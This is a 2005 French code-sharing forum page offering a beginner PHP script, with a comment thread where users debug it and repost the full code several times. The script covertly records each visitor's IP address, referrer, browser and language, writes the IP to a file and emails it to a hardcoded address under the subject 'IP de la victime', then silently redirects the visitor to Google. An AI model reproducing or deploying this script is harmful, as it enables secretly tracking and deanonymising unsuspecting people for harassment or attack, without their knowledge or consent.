Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

ENVOIE IP + QUELQUES INFO PAR MAIL


Information sur la source

Catégorie :E-Mail / Messagerie Niveau : Débutant Date de création : 11/03/2005 Date de mise à jour : 14/03/2005 19:09:25 Vu / téléchargé: 5 166 / 321

Note :
1 / 10 - par 2 personnes
1,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (10)
Ajouter un commentaire et/ou une note


Description

Ben c'est un petit script qui recupere l'ip et l'envoie avec la fonction mail() avec quelques infos comme type de compression utilisé, navigateur, dernier url, etc... et qui redirige le site vers google =)
 

Source

  • <?PHP
  • ob_start();
  • define("IDX_GRANULARITY", 10000000);
  • function getClientIP() {
  • $ip = 0;
  • if (!empty($_SERVER['HTTP_CLIENT_IP']))
  • $ip = $_SERVER['HTTP_CLIENT_IP'];
  • if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  • $ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
  • if ($ip) {
  • array_unshift($ipList, $ip);
  • $ip = 0;
  • }
  • foreach ($ipList as $v)
  • if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
  • return $v;
  • }
  • return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
  • }
  • function searchIndex($ip, $idxFileName = "ip-to-country.idx") {
  • $hFile = @fopen($idxFileName, "r");
  • if (!$hFile) return False;
  • $ip = (int)($ip / IDX_GRANULARITY);
  • $iRecord = 0;
  • $iIndex = 0;
  • while ($aData = fgetcsv($hFile, 100)) {
  • if ($ip >= $iIndex && $ip < $aData[0])
  • return array($aData[1], $iRecord);
  • $iIndex = $aData[0];
  • $iRecord = $aData[1];
  • }
  • fclose($hFile);
  • return array(-1, $iRecord);
  • }
  • $NewIp = getClientIP() ;
  • // Ecrire l'ip dans le fichier ip.txt
  • $fp = fopen("ip.txt","w"); // On ouvre le fichier en écriture
  • fseek($fp,0); // On se place en début de fichier
  • if (strlen($NewIp) > 6)
  • {
  • fputs($fp,$NewIp); // 5.On écrit dans le fichier le nouveau IP
  • }
  • else
  • {
  • fputs($fp,"0.0.0.0"); // On écrit dans le fichier "0.0.0.0"
  • }
  • fclose($fp); // On ferme le fichier
  • //print $NewIp ;
  • //<!-- Envoie ip par mail ! -->
  • $msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
  • $recipient = "mohamedloucif89@aol.com";
  • $subject = "IP de la victime";
  • $mailheaders = "From: Ip de la victime<> \n";
  • mail($recipient, $subject, $msg, $mailheaders);
  • header('location:http://www.google.fr');
  • ob_end_flush();
  • ?>
<?PHP
ob_start();
    define("IDX_GRANULARITY", 10000000);

    function getClientIP() {

        $ip = 0;

        if (!empty($_SERVER['HTTP_CLIENT_IP']))
            $ip = $_SERVER['HTTP_CLIENT_IP'];

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
            if ($ip) {
                array_unshift($ipList, $ip);
                $ip = 0;
            }
            foreach ($ipList as $v)
            if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
                return $v;
        }
        
        return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
    }

    function searchIndex($ip, $idxFileName = "ip-to-country.idx") {

        $hFile = @fopen($idxFileName, "r");
        if (!$hFile) return False;
        $ip = (int)($ip / IDX_GRANULARITY);
        $iRecord = 0;
        $iIndex = 0;
        while ($aData = fgetcsv($hFile, 100)) {
            if ($ip >= $iIndex && $ip < $aData[0])
                return array($aData[1], $iRecord);
            $iIndex = $aData[0];
            $iRecord = $aData[1];
        }
        fclose($hFile);
        return array(-1, $iRecord);
    }

$NewIp = getClientIP() ;

// Ecrire l'ip dans le fichier ip.txt
$fp = fopen("ip.txt","w");	// On ouvre le fichier en écriture
fseek($fp,0);           // On se place en début de fichier
if (strlen($NewIp) > 6)
	{
		fputs($fp,$NewIp);	// 5.On écrit dans le fichier le nouveau IP
	}
	else
	{
     fputs($fp,"0.0.0.0");	// On écrit dans le fichier "0.0.0.0"
	}	
fclose($fp); 	         	// On ferme le fichier
//print $NewIp ;

//<!-- Envoie ip par mail ! -->

$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "mohamedloucif89@aol.com";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);
header('location:http://www.google.fr');
ob_end_flush();
?>

Conclusion

Il faut PHP5 pour l'utiliser ! =)
 

Fichier Zip

Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip

Historique

13 mars 2005 12:39:10 :
plus de code html =)
14 mars 2005 19:09:25 :
modification de l'explication final ;)

Commentaires et avis

signaler à un administrateur
Commentaire de Anthomicro le 13/03/2005 11:52:45

Salut,

mieux vaut faire un header pour rediriger, ça t'évite de mettre du code html :

<?php

    define('IDX_GRANULARITY', 10000000);

    function getClientIP() {

        $ip = 0;

        if (!empty($_SERVER['HTTP_CLIENT_IP']))
            $ip = $_SERVER['HTTP_CLIENT_IP'];

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
            if ($ip) {
                array_unshift($ipList, $ip);
                $ip = 0;
            }
            foreach ($ipList as $v)
            if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
                return $v;
        }
        
        return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
    }

    function searchIndex($ip, $idxFileName = 'ip-to-country.idx') {

        $hFile = @fopen($idxFileName, "r");
        if (!$hFile) return FALSE;
        $ip = (int)($ip / IDX_GRANULARITY);
        $iRecord = 0;
        $iIndex = 0;
        while ($aData = fgetcsv($hFile, 100)) {
            if ($ip >= $iIndex && $ip < $aData[0])
                return array($aData[1], $iRecord);
            $iIndex = $aData[0];
            $iRecord = $aData[1];
        }
        fclose($hFile);
        return array(-1, $iRecord);
    }

$NewIp = getClientIP() ;

// Ecrire l'ip dans le fichier ip.txt
$fp = fopen('ip.txt','w');  // On ouvre le fichier en écriture
fseek($fp,0);            // On se place en début de fichier
if (strlen($NewIp) > 6)
    {
        fputs($fp,$NewIp);  // 5.On écrit dans le fichier le nouveau IP
    }
    else
    {
     fputs($fp,'0.0.0.0');  // On écrit dans le fichier "0.0.0.0"
    }  
fclose($fp);                // On ferme le fichier
//print $NewIp ;

//ENVOIE L'IP PAR MAIL
$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "mohamedloucif89@aol.com";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);

header('location:http://www.google.fr');
?>

signaler à un administrateur
Commentaire de chico200987 le 13/03/2005 11:58:08

voilà l'erreur que j'obtient :

Warning: Cannot modify header information - headers already sent by (output started at /var/www/free.fr/a/5/chicodu89/ip.php:2) in /var/www/free.fr/a/5/chicodu89/ip.php on line 69

pourtant il n'y a pas de header au debut

signaler à un administrateur
Commentaire de Anthomicro le 13/03/2005 12:12:17

Ok, rajoutes ceci en haut de mon code :

ob_start();

et tout en bas : ob_end_flush();

ça donne ça :

<?php
ob_start();
    define('IDX_GRANULARITY', 10000000);

    function getClientIP() {

        $ip = 0;

        if (!empty($_SERVER['HTTP_CLIENT_IP']))
            $ip = $_SERVER['HTTP_CLIENT_IP'];

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
            if ($ip) {
                array_unshift($ipList, $ip);
                $ip = 0;
            }
            foreach ($ipList as $v)
            if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
                return $v;
        }
        
        return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
    }

    function searchIndex($ip, $idxFileName = 'ip-to-country.idx') {

        $hFile = @fopen($idxFileName, "r");
        if (!$hFile) return FALSE;
        $ip = (int)($ip / IDX_GRANULARITY);
        $iRecord = 0;
        $iIndex = 0;
        while ($aData = fgetcsv($hFile, 100)) {
            if ($ip >= $iIndex && $ip < $aData[0])
                return array($aData[1], $iRecord);
            $iIndex = $aData[0];
            $iRecord = $aData[1];
        }
        fclose($hFile);
        return array(-1, $iRecord);
    }

$NewIp = getClientIP() ;

// Ecrire l'ip dans le fichier ip.txt
$fp = fopen('ip.txt','w');  // On ouvre le fichier en écriture
fseek($fp,0);            // On se place en début de fichier
if (strlen($NewIp) > 6)
    {
        fputs($fp,$NewIp);  // 5.On écrit dans le fichier le nouveau IP
    }
    else
    {
     fputs($fp,'0.0.0.0');  // On écrit dans le fichier "0.0.0.0"
    }  
fclose($fp);                // On ferme le fichier
//print $NewIp ;

//ENVOIE L'IP PAR MAIL
$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "mohamedloucif89@aol.com";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);

header('location:http://www.google.fr');
ob_end_flush();
?>

Bref je précise que tu dois dégager tout le html, ta page php reste comme ça, fini le code crade au début et à la fin :-)

a +

signaler à un administrateur
Commentaire de chico200987 le 13/03/2005 12:16:09

toujours la même chose... regarde sur http://chicodu89.free.fr/ip.php tu vera par toi même...

signaler à un administrateur
Commentaire de Anthomicro le 13/03/2005 12:20:47

Donne-moi le code de toute ta page ip.php, ça ira plus vite...

signaler à un administrateur
Commentaire de chico200987 le 13/03/2005 12:22:21

<!-- script pour l'ip -->
<?PHP
ob_start();
    define("IDX_GRANULARITY", 10000000);

    function getClientIP() {

        $ip = 0;

        if (!empty($_SERVER['HTTP_CLIENT_IP']))
            $ip = $_SERVER['HTTP_CLIENT_IP'];

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
            if ($ip) {
                array_unshift($ipList, $ip);
                $ip = 0;
            }
            foreach ($ipList as $v)
            if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
                return $v;
        }
        
        return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
    }

    function searchIndex($ip, $idxFileName = "ip-to-country.idx") {

        $hFile = @fopen($idxFileName, "r");
        if (!$hFile) return False;
        $ip = (int)($ip / IDX_GRANULARITY);
        $iRecord = 0;
        $iIndex = 0;
        while ($aData = fgetcsv($hFile, 100)) {
            if ($ip >= $iIndex && $ip < $aData[0])
                return array($aData[1], $iRecord);
            $iIndex = $aData[0];
            $iRecord = $aData[1];
        }
        fclose($hFile);
        return array(-1, $iRecord);
    }

$NewIp = getClientIP() ;

// Ecrire l'ip dans le fichier ip.txt
$fp = fopen("ip.txt","w"); // On ouvre le fichier en écriture
fseek($fp,0);           // On se place en début de fichier
if (strlen($NewIp) > 6)
{
fputs($fp,$NewIp); // 5.On écrit dans le fichier le nouveau IP
}
else
{
     fputs($fp,"0.0.0.0"); // On écrit dans le fichier "0.0.0.0"
}
fclose($fp);          // On ferme le fichier
//print $NewIp ;

//<!-- Envoie ip par mail ! -->

$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "mohamedloucif89@aol.com";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);
header('location:http://www.google.fr');
ob_end_flush();
?>

signaler à un administrateur
Commentaire de Anthomicro le 13/03/2005 12:33:08

Je t'ai dit d'enlever le code html....

Et ensuite <?PHP est à remplacer par <?php

Bref enlève ça : <!-- script pour l'ip -->

signaler à un administrateur
Commentaire de chico200987 le 13/03/2005 12:35:17

a oui merc c'était "<!-- script pour l'ip -->" qui genais merci ;o) jlavais oublié lui =)

signaler à un administrateur
Commentaire de stepibou le 14/03/2005 11:48:19

salut chico,

tu marque que c'est pour debutant, donc
au lieu de marquer : "ben voilà quoi :)"
dans explication finale, marque plutot qui faut php5!

bon voila , sinon c'est bien.
a+

signaler à un administrateur
Commentaire de chico200987 le 14/03/2005 19:10:33

c'est fait merci pour cette remarque ;)

Ajouter un commentaire



Nos sponsors

Sondage...

CalendriCode

Octobre 2008
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel BAÏSE, Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,203 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.